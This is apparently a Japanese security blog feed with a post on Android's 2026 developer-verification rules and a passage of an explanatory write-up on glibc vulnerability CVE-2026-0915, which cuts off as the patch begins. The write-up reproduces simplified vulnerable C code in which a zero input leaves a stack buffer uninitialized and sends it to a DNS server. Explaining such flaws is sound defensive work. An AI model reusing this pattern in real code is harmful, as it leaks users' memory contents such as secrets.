&lt;li&gt;そして、チームがOstorlabを自社の環境に組み込むための、より多くの手段を&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;来年の目標は、こうしたループを引き締め続け、現代のセキュリティチームの運用の仕方に沿ったものであり続けることです。&lt;/p&gt;</content><category term="Product"/><category term="Ostorlab"/></entry><entry><title>Androidのデベロッパー認証（2026年）：対象となるのは誰か</title><link href="https://blog.ostorlab.co/ja/android-requires-developer-verification-starting-from-2026.html" rel="alternate"/><published>2026-01-27T10:47:00+01:00</published><updated>2026-01-27T15:47:00+01:00</updated><author><name>Youssef Mabrouk</name></author><id>tag:blog.ostorlab.co,2026-01-27:/ja/android-requires-developer-verification-starting-from-2026.html</id><summary type="html">&lt;p&gt;2026年から、認定Android端末では未認証のデベロッパーによるアプリをブロックできるようになります。サイドローディングで何が変わるのか、誰が影響を受けるのか、そしてGoogleがどう対応しているのかを解説します。&lt;/p&gt;</summary><content type="html">&lt;h2 id="実際に何が変わるのか"&gt;実際に何が変わるのか&lt;/h2&gt;
&lt;p&gt;2026年から、&lt;strong&gt;Android&lt;/strong&gt;はすべてのアプリを同等に扱わなくなります。&lt;/p&gt;
&lt;p&gt;認定Android端末で動作するには、アプリは認証済みのデベロッパーから提供されたものである必要があります。デベロッパーがGoogleの&lt;strong&gt;&lt;a href="https://developer.android.com/developer-verification"&gt;認証プロセス&lt;/a&gt;&lt;/strong&gt;を完了していない場合、アプリ自体が&lt;strong&gt;技術的には安全&lt;/strong&gt;であっても、そのアプリのインストールや更新がブロックされる可能性があります。&lt;/p&gt;
&lt;p&gt;この変更は&lt;strong&gt;Play Store&lt;/strong&gt;に限ったものではありません。&lt;strong&gt;Googleのマーケットプレイス&lt;/strong&gt;以外からインストールされたアプリも含め、Androidがアプリ全般をどう扱うかに影響します。実際のところ、Androidは主に警告に頼っていた仕組みから、誰が公開したかに基づいてアプリを能動的に止められる仕組みへと移行しつつあります。&lt;/p&gt;
&lt;p&gt;要となる変化は単純です。&lt;/p&gt;
&lt;p&gt;Androidはもはやアプリだけをチェックするのではありません。その背後にいるデベロッパーをチェックするのです。&lt;/p&gt;
&lt;h2 id="デベロッパー認証以前:リスクを伴う自由"&gt;デベロッパー認証以前：リスクを伴う自由&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;デベロッパー認証&lt;/strong&gt;が導入される前は、Androidのデベロッパーは現実世界の身元と結び付けることなくアプリを開発し、共有できました。&lt;strong&gt;公開&lt;/strong&gt;に認証は必要なく、&lt;strong&gt;匿名性&lt;/strong&gt;も認められていました。&lt;/p&gt;
&lt;p&gt;ユーザーにとって、これは選択肢が広いことを意味していました。アプリは簡単に共有でき、ソフトウェアをインストールするかどうかは最終的に&lt;strong&gt;個人の判断&lt;/strong&gt;でした。&lt;/p&gt;
&lt;p&gt;Androidはリスクを明示していましたが、それ以上のことはしませんでした。警告を表示し、権限を強調したうえで、アプリをインストールする価値があるかどうかの判断はユーザーに委ねていました。&lt;/p&gt;
&lt;p&gt;時が経つにつれて、その信頼モデルは崩れ始めました。&lt;/p&gt;
&lt;p&gt;自由として設計されたものが、人間の行動を悪用する術を知る悪意のある者にとって、次第に有利に働くようになったのです。&lt;/p&gt;
&lt;h2 id="デベロッパー認証以後:セキュリティは高まり、自由は狭まる"&gt;デベロッパー認証以後：セキュリティは高まり、自由は狭まる&lt;/h2&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="「Unable to Install App. This app can't be installed from an unverified developer」というエラーメッセージを表示しているスマートフォンの画面" class="img-fluid" src="/static/img/2026_1_23_android_developer_verification/android-blocking-download-from-unverified-developer.png" title="未認証のデベロッパーのアプリをブロックするAndroid"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;未認証のデベロッパーのアプリをブロックするAndroid&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://developer.android.com/developer-verification/guides"&gt;デベロッパー認証の義務化&lt;/a&gt;&lt;/strong&gt;により、Androidは「デフォルトで信頼する」方式から「設計によって管理する」方式へと移行します。&lt;/p&gt;
&lt;p&gt;アプリは認証済みのデベロッパーと結び付けられるようになり、大規模な詐欺行為を行うことが難しくなります。匿名のアカウントが現れては消え、新たな身元で再び現れるといったことはもうできません。何か問題が起きたときには、そのアプリについて&lt;strong&gt;責任を負う主体が明確&lt;/strong&gt;になります。&lt;/p&gt;
&lt;p&gt;ただし、その効果は、認証プロセスが偽造または盗用された身元を見抜けるかどうかにかかっています。&lt;strong&gt;攻撃者&lt;/strong&gt;が&lt;strong&gt;AIで生成した書類や個人情報の盗用&lt;/strong&gt;をますます利用するようになっている中で、これは依然として課題です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ユーザー&lt;/strong&gt;にとっては、これにより&lt;strong&gt;信頼が高まります&lt;/strong&gt;。特に技術に詳しくない人にとって、アプリのインストールは賭けのようなものではなくなります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;デベロッパー&lt;/strong&gt;にとっては、不正なアプリや欺瞞的なアプリとの&lt;strong&gt;競争が減る&lt;/strong&gt;ことで、公平な競争環境が整いやすくなります。&lt;/p&gt;
&lt;p&gt;しかし、こうしたセキュリティの向上には現実的なコストが伴います。&lt;/p&gt;
&lt;p&gt;認証の義務化はセキュリティと説明責任を向上させる一方で、&lt;strong&gt;イノベーションを阻害する&lt;/strong&gt;おそれもあります。匿名での公開はもはやできず、プラットフォームは&lt;strong&gt;アプリの機能や安全性&lt;/strong&gt;ではなく&lt;strong&gt;デベロッパーの身元&lt;/strong&gt;に基づいて、どのアプリを実行できるかを決めることになります。&lt;/p&gt;
&lt;p&gt;これにより、趣味で開発する人、学生、独立系デベロッパーが、実験したり斬新なアイデアをリリースしたりする意欲をそがれるかもしれません。&lt;/p&gt;
&lt;p&gt;Androidは、もはや警告するだけではありません。強制するのです。&lt;/p&gt;
&lt;h2 id="サイドローディングが議論の中心にある理由"&gt;サイドローディングが議論の中心にある理由&lt;/h2&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Googleによるサイドローディングの制限に不満を表明し、こうしたセキュリティ対策がパワーユーザーにとっての「Androidの自由」を制限していると主張するユーザーたちのRedditスレッド" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_1_23_android_developer_verification/redditors-frustrated-because-android-requires-developer-verification-for-sideflow.png" title="サイドロードしたアプリのブロックに不満を表明するRedditユーザー"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;サイドロードしたアプリのブロックに不満を表明するRedditユーザー&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;サイドローディングは、Androidの古いモデルと新しいモデルがぶつかり合う場所です。&lt;/p&gt;
&lt;p&gt;これまで、サイドローディングは&lt;strong&gt;意識的な選択&lt;/strong&gt;でした。Androidはユーザーに警告し、リスクを説明し、追加の手順を求めましたが、&lt;strong&gt;最終的な判断&lt;/strong&gt;は常に&lt;strong&gt;端末を手にしている本人&lt;/strong&gt;に委ねられていました。自分が何をしているのかを理解していれば、Androidがそれをブロックすることはありませんでした。&lt;/p&gt;
&lt;p&gt;デベロッパー認証は、この力関係を変えます。&lt;/p&gt;
&lt;p&gt;Androidは今後、&lt;strong&gt;警告&lt;/strong&gt;ではなく、認証済みのデベロッパーから提供されていないアプリに&lt;strong&gt;強制的なブロック&lt;/strong&gt;を適用できるようになります。&lt;strong&gt;ユーザー&lt;/strong&gt;が&lt;strong&gt;リスクを十分に理解&lt;/strong&gt;していても、システムがアプリのインストールそのものを拒否する場合があります。&lt;/p&gt;
&lt;p&gt;だからこそ、&lt;strong&gt;経験豊富なユーザー&lt;/strong&gt;はこの問題を重視しています。サイドローディングは、決して利便性のためのものではありませんでした。それは管理権の問題でした。上級ユーザーは、プラットフォームの干渉を受けずに、ソフトウェアをテストし、独自のツールを実行し、情報に基づいた判断を下すことができたのです。&lt;/p&gt;
&lt;p&gt;この議論は、実のところサイドローディングそのものについてのものではありません。リスクが伴うとき、最終的な決定権を持つのは誰か、ユーザーかプラットフォームか、という問題なのです。&lt;/p&gt;
&lt;h2 id="デベロッパー認証の影響を受けるのは誰か"&gt;デベロッパー認証の影響を受けるのは誰か&lt;/h2&gt;
&lt;p&gt;デベロッパー認証はすべての人に適用されますが、その影響は均等ではありません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;学生と趣味で開発する人&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Androidは長年、人々が非公式にアプリを作って共有しながら学べる場でした。匿名で公開できたことで、気軽にプレッシャーなく実験できました。&lt;/p&gt;
&lt;p&gt;認証が必要になったことで、その自由は狭まります。かつては気軽な学習の場だったものが正式な手続きのように見え始め、小規模なプロジェクトや実験的なプロジェクトの意欲をそぐおそれがあります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;経験豊富なユーザー&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;上級ユーザーは、決して無謀だったわけではありません。彼らが&lt;strong&gt;警告を頼りにしていた&lt;/strong&gt;のは、リスクを無視していたからではなく、リスクを理解していたからです。&lt;/p&gt;
&lt;p&gt;サイドローディングによって、彼らは自分の端末でソフトウェアをテストし、独自のツールを実行し、情報に基づいた判断を下すことができました。Androidが警告を強制的なブロックに置き換えると、そうしたユーザーは、自分が何をインストールしようとしているのかを正確に把握している場合でさえ、自律性を失います。&lt;/p&gt;
&lt;p&gt;だからこそ、デベロッパー認証に対する反発はこれほど強いのです。この変更は、悪意のある者だけを対象としているわけではありません。正当なユーザーやデベロッパーとプラットフォームとの関わり方そのものを作り変えるものです。&lt;/p&gt;
&lt;h2 id="失われる自由へのandroidの対応"&gt;失われる自由へのAndroidの対応&lt;/h2&gt;
&lt;p&gt;Googleの名誉のために言えば、Androidは批判を無視しませんでした。&lt;/p&gt;
&lt;p&gt;学生と趣味で開発する人向けに、Androidは、完全なデベロッパー認証を経ることなく、限られた台数の端末でアプリをアップロードしてテストできる手段を導入しました。これにより、大規模な悪用を防ぎつつ、学習や実験の機会が守られます。&lt;/p&gt;
&lt;p&gt;経験豊富なユーザー向けには、&lt;strong&gt;&lt;a href="https://android-developers.googleblog.com/2025/11/android-developer-verification-early.html"&gt;Androidが新しい高度なサイドローディングフローを構築しています&lt;/a&gt;&lt;/strong&gt;。このフローは、&lt;strong&gt;単純な警告画面&lt;/strong&gt;ではなく、&lt;strong&gt;強要に耐える&lt;/strong&gt;ように設計されています。プロセスを&lt;strong&gt;あえて遅くし&lt;/strong&gt;、&lt;strong&gt;リスクを明示&lt;/strong&gt;し、詐欺師がユーザーに保護機能の回避を迫ることを防ぎます。&lt;/p&gt;
&lt;p&gt;重要なのは、このアプローチが選択の自由を完全に奪うわけではないという点です。管理された形で選択の自由を取り戻すものです。リスクを理解しているユーザーは引き続き先に進めますが、それはAndroidがその判断が情報に基づいた慎重なものだと確信できた後に限られます。&lt;/p&gt;
&lt;p&gt;デベロッパーやユーザーからのフィードバックは&lt;strong&gt;おおむね好意的&lt;/strong&gt;です。Androidがセキュリティとユーザーの自由のバランスを取っていることに、多くの人が安堵を示しました。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="ユーザーからのフィードバックを受けて、GoogleがAndroidでアプリをサイドロードできる機能を維持していることに安堵を示すユーザーたちのRedditスレッド" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_1_23_android_developer_verification/reddit-users-reacting-positively-to-android-new-developer-verification-flow.png" title="Androidの新しいデベロッパー認証フローに好意的に反応するRedditユーザー"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Androidの新しいデベロッパー認証フローに好意的に反応するRedditユーザー&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="結論"&gt;結論&lt;/h2&gt;
&lt;p&gt;これは、AndroidがiOSのように自らを閉ざすということではありません。&lt;strong&gt;サイドローディングは今も存在します&lt;/strong&gt;し、デベロッパーが完全に締め出されるわけでもありません。&lt;/p&gt;
&lt;p&gt;しかし、Androidがリスクを管理する主体を明確に定義し直しているのは確かです。&lt;/p&gt;
&lt;p&gt;プラットフォームは、ユーザーに警告して判断を委ねる方式から、ユーザーに代わって判断を強制する方式へと移行しつつあります。&lt;/p&gt;
&lt;p&gt;この転換が成功するかどうかは、実質的な選択の自由がどれだけ残るかにかかっています。上級ユーザーが引き続き情報に基づいた判断を下せ、学習者が自由に実験し続けられるなら、バランスは保たれるかもしれません。&lt;/p&gt;
&lt;p&gt;そうした道が時とともに狭まっていけば、Androidはそもそも他と一線を画していた特質の一つを失うおそれがあります。&lt;/p&gt;
&lt;p&gt;セキュリティは重要です。しかしAndroidでは、自由もまた常に重要だったのです。&lt;/p&gt;
&lt;h2 id="出典"&gt;出典&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://android-developers.googleblog.com/2025/11/android-developer-verification-early.html"&gt;Android Developers Blog：皆さんのフィードバックをもとに開発を続ける中、Androidデベロッパー認証の早期アクセスを開始&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.reddit.com/r/Android/comments/1mzw7sc/google_wants_to_make_sideloading_android_apps/"&gt;Reddit：Google、デベロッパーの身元を認証することでAndroidアプリのサイドローディングをより安全に&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://developer.android.com/developer-verification"&gt;Androidデベロッパー認証：早期アクセスに登録する&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://developer.android.com/developer-verification/guides"&gt;Androidデベロッパー認証ガイド&lt;/a&gt;&lt;/p&gt;</content><category term="Security"/><category term="security"/><category term="android"/></entry><entry><title>たった一つのゼロがインターネットの配管を壊しかけた話（CVE-2026-0915）</title><link href="https://blog.ostorlab.co/ja/glibc-dns-zero-input-cve-2026-0915.html" rel="alternate"/><published>2026-01-21T16:20:00+01:00</published><updated>2026-01-21T16:20:00+01:00</updated><author><name>Ostorlab Team</name></author><id>tag:blog.ostorlab.co,2026-01-21:/ja/glibc-dns-zero-input-cve-2026-0915.html</id><summary type="html">&lt;p&gt;AI支援型の解析により、glibcの_nss_dns_getnetbyaddr_r関数に30年前から存在する未初期化バッファの脆弱性が明らかになりました。本事例研究では、ゼロ入力というエッジケースがループのロジックをすり抜け、ライブラリがスタックメモリをそのまま外部のDNSサーバーに送信してしまう仕組みを詳しく解説し、人間のレビューでは見逃されたこの微妙なロジックエラーの特定に、さまざまなAIモデルがどの程度成功したかをベンチマークします。&lt;/p&gt;</summary><content type="html">&lt;h1 id="たった一つのゼロがインターネットの配管を壊しかけた話(cve-2026-0915)"&gt;たった一つのゼロがインターネットの配管を壊しかけた話（CVE-2026-0915）&lt;/h1&gt;
&lt;p&gt;地球上で最も重要なソフトウェアの一つに潜んでいたバグについてお話しさせてください。対象はglibc、つまりGNU C Libraryです。Linux上のほぼすべてのものが、事実上その上に成り立っている基盤です。&lt;/p&gt;
&lt;p&gt;Webサーバーは？glibcの上で動いています。&lt;br/&gt;
クラウドインフラは？glibcです。&lt;br/&gt;
キッチンにあるIoTデバイスは？おそらくglibcです。&lt;/p&gt;
&lt;p&gt;そして30年もの間、たまたまメモリ上に転がっていたものを何でも、インターネット上で平文のままDNSサーバーへ送り出してしまうバグが存在していました。パスワード、鍵、セッショントークンなど、スタック上にあったものは何でもです。ただ&amp;hellip;&amp;hellip;外へ出て行ってしまうのです。&lt;/p&gt;
&lt;p&gt;その仕組みを説明します。&lt;/p&gt;
&lt;h2 id="「そもそも、ここでゼロは何を意味するのか」"&gt;「そもそも、ここでゼロは何を意味するのか」&lt;/h2&gt;
&lt;p&gt;では、少し話を戻しましょう。&lt;code&gt;glibc&lt;/code&gt;には&lt;code&gt;_nss_dns_getnetbyaddr_r&lt;/code&gt;という関数があります。その処理はごく単純です。ネットワークアドレスを数値として渡すと、DNSに問い合わせてそのネットワークに対応する名前を探します。逆引きです。簡単ですね。&lt;/p&gt;
&lt;p&gt;このコードは、渡されたネットワーク番号を構成バイトに分解します。「192.168.1.0」を表す値を渡すと、192、168、1、0をそれぞれ別の値として取り出し、それらからDNSクエリの文字列を組み立てます。&lt;/p&gt;
&lt;p&gt;その処理を簡略化したものが次のコードです。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;net_bytes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;qbuf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;MAXDNAME&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// This will hold our DNS query&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cnt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;net2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cnt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;net2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;net2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;net_bytes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;cnt&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;net2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xff&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;cnt&lt;/code&gt;を4から始め、ネットワーク番号からバイトを1つ取り出すたびに&lt;code&gt;cnt&lt;/code&gt;をデクリメントしてそのバイトを格納します。処理が終わると、&lt;code&gt;cnt&lt;/code&gt;は元の&lt;code&gt;net_bytes&lt;/code&gt;に何バイトあったかを示し、それによって扱っているネットワークアドレスの「クラス」が決まります。&lt;/p&gt;
&lt;p&gt;次にswitch文があります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cnt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// One byte - Class A&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;sprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;qbuf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"0.0.0.%u.in-addr.arpa"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;net_bytes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Two bytes - Class B&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;sprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;qbuf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"0.0.%u.%u.in-addr.arpa"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Three bytes - Class C&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;sprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;qbuf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"0.%u.%u.%u.in-addr.arpa"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Four bytes - Class D/E&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;sprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;qbuf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"%u.%u.%u.%u.in-addr.arpa"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;さて、ここで少し立ち止まって考えてみてください。誰かがゼロを渡したらどうなるでしょうか。「0.0.0.1」でも「10.0.0.0」でもなく、ただのゼロです。何もない値です。&lt;/p&gt;
&lt;p&gt;さあ、頭の中でこのループをたどってみてください。&lt;/p&gt;
&lt;p&gt;&amp;hellip;&lt;/p&gt;
&lt;h2 id="すべてが狂う瞬間"&gt;すべてが狂う瞬間&lt;/h2&gt;
&lt;p&gt;分かりましたか。何が起きるかというと、次のとおりです。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;net&lt;/code&gt;は0&lt;/li&gt;
&lt;li&gt;&lt;code&gt;net2&lt;/code&gt;は0になる&lt;/li&gt;
&lt;li&gt;ループの条件は&lt;code&gt;net2 != 0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;それは最初から偽&lt;/li&gt;
&lt;li&gt;ループは&lt;strong&gt;一度も実行されない。ただの一度も。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cnt&lt;/code&gt;は4のまま&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;では、switch文の中で&lt;code&gt;cnt == 4&lt;/code&gt;を扱うcaseはどれでしょうか。どれもありません&lt;em&gt;。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;case 4&lt;/code&gt;はありません。&lt;code&gt;default&lt;/code&gt;もありません。switch文は&amp;hellip;&amp;hellip;何にも一致しないのです。つまり、DNSクエリのバッファである&lt;code&gt;qbuf&lt;/code&gt;には、一度も書き込みが行われません。&lt;/p&gt;
&lt;p&gt;しかし、Cには次のような特徴があります。&lt;code&gt;char qbuf[MAXDNAME]&lt;/code&gt;のようにローカル変数を宣言しても、言語はそれを初期化してくれません。スタックメモリの一部を指して「今からこれはあなたのものです」と言うだけです。そのメモリに以前あったものはどうなるのでしょうか。そのまま残っています。古い関数の戻りアドレス、文字列の断片、以前の処理のデータの断片などが、休憩室の冷蔵庫に置きっぱなしの昨日の昼食のように、そこに居座っているのです。&lt;/p&gt;
&lt;p&gt;そして、次の処理が実行されます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;anslen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__res_context_query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;qbuf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;C_IN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;T_PTR&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;この行は&lt;code&gt;qbuf&lt;/code&gt;をDNSサーバーに送信します。初期化されないまま、ゴミでいっぱいの状態で、ネットワークを越えて、自社で管理していないインフラへと送られるのです。&lt;/p&gt;
&lt;h2 id="「待ってください、実際にゼロを渡して呼び出すのは誰なのか」"&gt;「待ってください、実際にゼロを渡して呼び出すのは誰なのか」&lt;/h2&gt;
&lt;p&gt;もっともな疑問です。この関数がネットワーク値ゼロで呼び出されるのは、どのような状況でしょうか。正直に答えると、通常の運用ではおそらくあまり起きません。&lt;/p&gt;
&lt;h2 id="修正は拍子抜けするほど簡単"&gt;修正は拍子抜けするほど簡単&lt;/h2&gt;
&lt;p&gt;パッチは次のとおりです。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cnt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
